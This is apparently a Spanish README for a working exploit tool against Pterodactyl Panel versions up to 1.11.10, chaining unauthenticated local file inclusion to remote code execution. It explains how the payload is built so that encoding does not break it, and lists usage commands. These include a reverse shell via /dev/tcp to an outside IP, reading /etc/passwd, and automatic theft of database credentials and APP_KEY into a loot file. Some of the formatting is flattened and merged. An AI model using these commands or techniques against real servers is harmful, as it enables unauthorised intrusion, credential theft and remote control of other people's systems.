
Exploit para Pterodactyl Panel ≤ 1.11.10 - LFI no autenticado a RCE
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Exploit para Pterodactyl Panel ≤ 1.11.10 - LFI no autenticado a RCE.
El endpoint /locales/locale.json acepta los parámetros locale y namespace que se pasan directamente a include() de PHP sin saneamiento ni autenticación. El parámetro hash diseñado para prevenir abusos nunca se aplica en versiones sin parche.
Esto permite:
.php (credenciales de base de datos, APP_KEY, correo, sesión...)pearcmd.php (truco de register_argc_argv + config-create), cadenas de filtros PHP o deserialización de Laravel con la APP_KEY filtradaAfectado: Pterodactyl Panel ≤ 1.11.10 Corregido en: 1.11.11
Los PoCs originales usan Python requests para enviar el payload pearcmd. El problema: requests codifica silenciosamente en URL caracteres como <, >, {, } - lo que rompe las etiquetas PHP (<?=system(...)?>) incrustadas en la URL.
Este exploit soluciona eso con dos cambios clave:
curl para la Etapa 1 - La solicitud de creación de payload usa curl -g (globoff) mediante subprocess, evitando por completo la codificación URL de Python.hex2bin() para codificación de comandos - En lugar de inyectar el comando sin procesar (que se rompe con espacios y caracteres especiales), el comando se codifica en hexadecimal y se decodifica del lado del servidor con system(hex2bin('...')). Hexadecimal solo usa 0-9a-f - sin +, sin =, sin &, sin espacios. Esto significa que cualquier comando funciona, incluyendo reverse shells con >& y /dev/tcp/.pip install requests
Opcional (para métodos de RCE por cadena de filtros / deserialización):
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator
# Comando simple
python3 exploit.py http://panel.fr --rce-cmd "id"
# Cadena de filtros PHP (necesita php_filter_chain_generator en PATH)
python3 exploit.py http://panel.fr --rce-filter "id"
# Cadena de filtros pregenerada
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."
# Deserialización Laravel mediante APP_KEY filtrada (necesita phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"
# RCE con otro directorio pear
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR
# Reverse shell
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Extrae todas las configuraciones (credenciales BD, APP_KEY, correo, sesión, CORS…) + intenta RCE automático
python3 exploit.py http://panel.fr
| Opción | Descripción |
|---|---|
target | URL objetivo (ej. http://panel.pterodactyl.fr) |
--rce-cmd CMD | Ejecutar CMD mediante pearcmd (admite cualquier comando, incl. reverse shells) |
--rce-filter CMD | Ejecutar CMD mediante cadena de filtros PHP |
--filter-chain CHAIN | Usar una cadena php://filter pregenerada (con --rce-filter) |
--rce-d CMD | Ejecutar CMD mediante deserialización de Laravel |
--pear-dir PATH | Ruta al directorio de pearcmd.php (por defecto: /usr/share/php) |
--timeout N | Tiempo de espera de la solicitud en segundos (por defecto: 10) |
--verify-ssl | Habilitar verificación del certificado SSL (desactivado por defecto) |
-o ARCHIVO | Archivo de informe de salida (por defecto: loot.json) |
--pear-dir| Distribución | Ruta |
|---|---|
| Debian / Ubuntu | /usr/share/php (por defecto) |
| openSUSE | /usr/share/php/PEAR |
| Alpine | /usr/share/php84 o /usr/share/php83 |
| RHEL / Rocky | /usr/share/pear |
Cuando se ejecuta sin --rce-cmd / --rce-filter / --rce-d, el exploit realiza una extracción completa de configuración:
/etc/passwd, nombre de host, versión del kernelSe guarda un informe JSON completo en loot.json (o ruta personalizada mediante -o).
Este exploit es una mejora basada en el PoC de GRodolphe/CVE-2025-49132_poc, a su vez inspirado por el PoC original de 0xtensho/CVE-2025-49132-poc.